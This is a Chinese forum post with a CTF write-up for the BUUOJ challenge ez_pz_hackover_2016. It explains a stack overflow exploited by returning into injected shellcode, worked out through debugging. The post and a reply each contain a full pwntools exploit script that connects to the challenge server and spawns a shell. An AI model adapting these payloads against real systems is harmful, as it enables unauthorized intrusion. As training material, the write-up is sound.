吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 2458|回复: 2
收起左侧

[CTF] [ret2shellcode+动态调试]ez_pz_hackover_2016

[复制链接]
bnuzgn 发表于 2023-7-28 15:04
题目来源:buuoj

题目信息

ubuntu16(libc2.23)、32位,几乎啥都没开

    1.png

主函数中先输出数组的地址(是字符串格式而不是二进制格式,可以直接使用int函数读取,参考wp),然后memchr函数会将'\n'之后的内容截断,所以需要\x00绕过,同时需要crashme\x00来达成strcmp的条件,转到vuln函数。

    2.png

vuln函数将param_1中的内容复制到栈中的临时数组中,结合主函数的数组可以导致溢出。

    3.png

解题思路
  • 由于保护措施没有怎么开,因此使用ret2shellcode方式,结合程序会直接输出数组的地址与参数溢出就可以直接getshell。
  • 现在的困难点在于找不到输入的shellcode的内存地址,因为vuln函数是子函数,而我们得到的数组地址是父函数中的地址,因此无法直接增加偏移得到shellcode地址。
  • 建议使用动态调试,将断点设置在vuln函数的leave处,此时可以看到memcpy复制的内容的栈中的相对位置。

关键步骤
  • 首先生成必须的部分,可以发现缺失了两个部分的内容:padding、ret_addr
    • padding在本题中无法直接通过静态分析得到正确的答案,静态解析中是50字节,但是动态分析中没有这么多。这里需要大佬帮忙解惑。
    • ret_addr是内存地址,需要在动态分析中结合本题中输出的数组位置得到。

payload = b"crashme\x00" + b'a'*padding + p32(ret_addr) + shellcode
  • 在wp中的注释位置打断点,一步步调试到vuln的leave处。此时查看50个机器字长的栈空间,可以发现ebp在0x38偏移处,而我们输入的crashme中的c保存在0x22处(小端序保存,0x20上的参数 0x72 63 f7 f6对应的是0x23,0x22,0x21,0x20 )因此vuln数组的起始位置想对于ebp偏移为0x38-0x22=0x16,而函数返回地址还需要增加0x4字节的ebp长度。别忘l‘crackme\x00’的长度是8字节,最终padding=0x16+4-8

    4.png

还是上面这个图,右侧可以发现主函数chall中输出的数组地址为0xff95c28c,在左侧栈中的相对位置为0x5c,结合payload = b"crashme\x00" + b'a'*padding + p32(ret_addr) + shellcode可以发现,ret_addr的位置应该是shellcode的地址,而在栈中p32(ret_addr)保存在0x3c,shellcode是从0x40开始保存的,shellcode的位置是array_addr-(0x5c-0x40)即array_addr-0x1c

wp

[Python] 纯文本查看 复制代码
# -*- coding: utf-8 -*-
from pwn import*
context.log_level='debug'
context.arch='i386'
context.os = "linux"

pc = "ez_pz_hackover_2016"

if __name__ == '__main__':
    local = sys.argv[1]
    if local == '1':
        r= process(pc)
        elf = ELF(pc)
        libc = elf.libc
    else:
        r=remote("node4.buuoj.cn",27598)
        elf = ELF(pc)
        libc = elf.libc

sa = lambda s,n : r.sendafter(s,n)
sla = lambda s,n : r.sendlineafter(s,n)
sl = lambda s : r.sendline(s)
sd = lambda s : r.send(s)
rc = lambda n : r.recv(n)
ru = lambda s : r.recvuntil(s)
ti = lambda: r.interactive()
lg = lambda s: log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))

def db():
    gdb.attach(r)
    pause()

def dbs(src):
    gdb.attach(r, src)

shellcode = asm(shellcraft.sh())
ru("Yippie, lets crash: ")
array_addr = int(r.recv(10),16)
lg('array_addr')
payload = b"crashme\x00" + b'a'*(0x16-8+4) + p32(array_addr-0x1c) + shellcode
#db()
sla("> ",payload)
ti()

免费评分

参与人数 3威望 +1 吾爱币 +22 热心值 +3 收起 理由
RavenBlaze + 1 + 1 感谢thx
笙若 + 1 + 1 谢谢@Thanks!
Hmily + 1 + 20 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

磊先生 发表于 2023-7-29 14:08
感谢分享
RavenBlaze 发表于 2024-6-28 13:06
本帖最后由 RavenBlaze 于 2024-6-28 16:51 编辑

也可以从栈上crashme\x00最后一位\x00开始算padding,一直覆盖完ebp最后一位,即:0x3B-0x29=0x12
[Python] 纯文本查看 复制代码
from pwn import *

p = remote("node5.buuoj.cn",12345)
context(arch='i386', os='linux',log_level='debug')

p.recvuntil(b'Yippie, lets crash: ')
leak = int(p.recv(10), 16)

padding = (0x3B-0x29) * b'A'
stack = leak - 0x1C
shellcode = asm(shellcraft.i386.linux.sh())

p.recvuntil(b'> ')
payload = b'crashme\x00' + padding + p32(stack) + shellcode
p.sendline(payload)

p.interactive()


您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-12-23 06:01

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表